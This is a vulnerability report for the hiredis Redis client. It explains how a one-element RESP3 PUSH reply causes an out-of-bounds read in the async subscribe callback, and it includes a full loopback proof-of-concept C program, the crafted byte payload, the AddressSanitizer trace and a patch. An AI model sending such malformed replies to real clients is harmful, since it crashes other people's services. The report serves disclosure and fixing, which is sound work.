Async pub/sub: RESP3 PUSH with fewer than 3 elements heap-buffer-overflows in `__redisGetSubscribeCallback`
Summary
When an async context is in subscribed mode, a RESP3 PUSH whose first element looks like subscribe / message / unsubscribe is routed into __redisGetSubscribeCallback() without checking reply->elements.
The ARRAY (RESP2) arm of the same if requires reply->elements >= 3. The PUSH arm does not. A one-element PUSH such as:
>1\r\n$9\r\nsubscribe\r\nis a well-formed RESP3 value (the reader accepts it) and then reads reply->element[1] one pointer past an 8-byte allocation.
This is not “every SUBSCRIBE crashes”. It needs:
- the async API,
REDIS_SUBSCRIBED(set when the client enqueuesSUBSCRIBE/PSUBSCRIBE),- a PUSH (
>), not a RESP2 array.
A conforming Redis server does not emit that PUSH. A proxy, an incomplete RESP3 implementation, or a malicious peer can. The process dies instead of reporting a protocol error.
Present on 1.5.0-dev (29ea279). Related history (#825, #815) is about PUSH replies consuming the wrong callback, not this missing bounds check.
No Redis server is required to reproduce: the client only has to receive those bytes.
Code
/* async.c — the comment already cites 3–4 elements */
if ((reply->type == REDIS_REPLY_ARRAY && !(c->flags & REDIS_SUPPORTS_PUSH)
&& reply->elements >= 3) ||
reply->type == REDIS_REPLY_PUSH) { /* no elements check */
assert(reply->element[0]->type == REDIS_REPLY_STRING);
stype = reply->element[0]->str;
...
if (reply->element[1]->type == REDIS_REPLY_STRING) { /* :494 */unsubscribe also uses reply->element[2] (:517).
A short PUSH is not discarded as a spontaneous push, because redisIsSubscribeReply treats a single string element whose text looks like subscribe as enough:
/* async.c:549 */
if (reply->elements < 1 || reply->element[0]->type != REDIS_REPLY_STRING ||
reply->element[0]->len < sizeof("message") - 1)
return 0;
...
return !strncasecmp(str, "subscribe", len) ||
!strncasecmp(str, "message", len) ||
!strncasecmp(str, "unsubscribe", len);Call chain after SUBSCRIBE is written and the short PUSH is read:
redisPollTick
-> redisAsyncHandleRead
-> redisAsyncRead
-> redisProcessCallbacks /* async.c:631 */
-> __redisGetSubscribeCallback
-> reply->element[1] /* OOB, async.c:494 */SUBSCRIBE itself does not push a regular reply callback (it only updates ac->sub.channels), so the next inbound PUSH is handled as a subscribe message. HELLO 3 is not required: the reader already parses > as REDIS_REPLY_PUSH.
Reproduce
One process is both a loopback stand-in and a hiredis async poll client. The stand-in replies to the first inbound request with the one-element PUSH above.
make USE_WERROR=0 static
cc -O0 -g -std=c99 -fsanitize=address -I. -o poc poc.c \
alloc.c net.c hiredis.c sds.c async.c read.c sockcompat.c -lpthread
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1' ./poc#define _POSIX_C_SOURCE 200809L
#include "hiredis.h"
#include "async.h"
#include "adapters/poll.h"
#include <arpa/inet.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static const char kShortPush[] = ">1\r\n$9\r\nsubscribe\r\n";
static redisAsyncContext *g_ac;
static int listen_loopback(int *port_out)
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in a;
socklen_t alen = sizeof a;
int yes = 1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof yes);
memset(&a, 0, sizeof a);
a.sin_family = AF_INET;
a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
a.sin_port = 0;
bind(fd, (struct sockaddr *)&a, sizeof a);
listen(fd, 1);
getsockname(fd, (struct sockaddr *)&a, &alen);
*port_out = ntohs(a.sin_port);
return fd;
}
static void *peer(void *arg)
{
int lfd = *(int *)arg;
int cfd = accept(lfd, NULL, NULL);
char buf[1024];
if (cfd >= 0 && recv(cfd, buf, sizeof buf, 0) > 0)
send(cfd, kShortPush, sizeof kShortPush - 1, 0);
sleep(2);
return NULL;
}
static void on_connect(const redisAsyncContext *c, int status)
{
if (status == REDIS_OK)
redisAsyncCommand(g_ac, NULL, NULL, "SUBSCRIBE foo");
}
int main(void)
{
int port, lfd, i;
pthread_t th;
lfd = listen_loopback(&port);
pthread_create(&th, NULL, peer, &lfd);
pthread_detach(th);
g_ac = redisAsyncConnect("127.0.0.1", port);
redisPollAttach(g_ac);
redisAsyncSetConnectCallback(g_ac, on_connect);
for (i = 0; i < 200; i++)
redisPollTick(g_ac, 0.05);
return 1;
}Observed
Linux x86_64, gcc, hiredis 29ea279, -O0 -fsanitize=address. The overflow is in hiredis, not in the stand-in thread.
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8 at 0x6020000001d8 thread T0
#0 __redisGetSubscribeCallback async.c:494
#1 redisProcessCallbacks async.c:631
#2 redisAsyncRead async.c:717
#3 redisAsyncHandleRead async.c:738
#4 redisPollTick adapters/poll.h:94
#5 main poc.c:123
0x6020000001d8 is located 0 bytes to the right of 8-byte region
[0x6020000001d0, 0x6020000001d8)
allocated by thread T0 here:
#0 calloc
#1 hi_calloc alloc.h:67
#2 createArrayObject hiredis.c:184
#3 processAggregateItem read.c:618
#4 processItem read.c:729
#5 redisReaderGetReply read.c:846
SUMMARY: AddressSanitizer: heap-buffer-overflow async.c:494
in __redisGetSubscribeCallbackcreateArrayObject does hi_calloc(elements, sizeof(redisReply *)). A 1-element PUSH is an 8-byte pointer array on this ABI. element[1] is the first byte past that region.
The same client built without AddressSanitizer dies with SIGSEGV (signal 11) on that load.
Suggested fix
Require the same shape the comment already documents, on the PUSH arm as well. Too few elements should be a protocol error (or ignored), not an out-of-bounds read.
--- a/async.c
+++ b/async.c
@@ -479,8 +479,11 @@ static int __redisGetSubscribeCallback(...)
* The type and number of elements (3 to 4) are specified at:
* https://redis.io/docs/latest/develop/interact/pubsub/#format-of-pushed-messages */
- if ((reply->type == REDIS_REPLY_ARRAY && !(c->flags & REDIS_SUPPORTS_PUSH) && reply->elements >= 3) ||
- reply->type == REDIS_REPLY_PUSH) {
+ if ((reply->type == REDIS_REPLY_ARRAY && !(c->flags & REDIS_SUPPORTS_PUSH) && reply->elements >= 3) ||
+ (reply->type == REDIS_REPLY_PUSH && reply->elements >= 3)) {
assert(reply->element[0]->type == REDIS_REPLY_STRING);Guarding element[0] / [1] / [2] individually is equivalent. While touching this function, tolower(reply->element[0]->str[0]) in redisIsSubscribeReply should use (unsigned char) (CERT STR37-C); that is a separate, lower-severity issue on the same path.
Environment
- redis/hiredis
29ea279(1.5.0-dev) - Linux x86_64 (Debian 12), gcc,
-O0 -fsanitize=address - Without ASan: SIGSEGV (signal 11) at the same
element[1]load
Source: redis/hiredis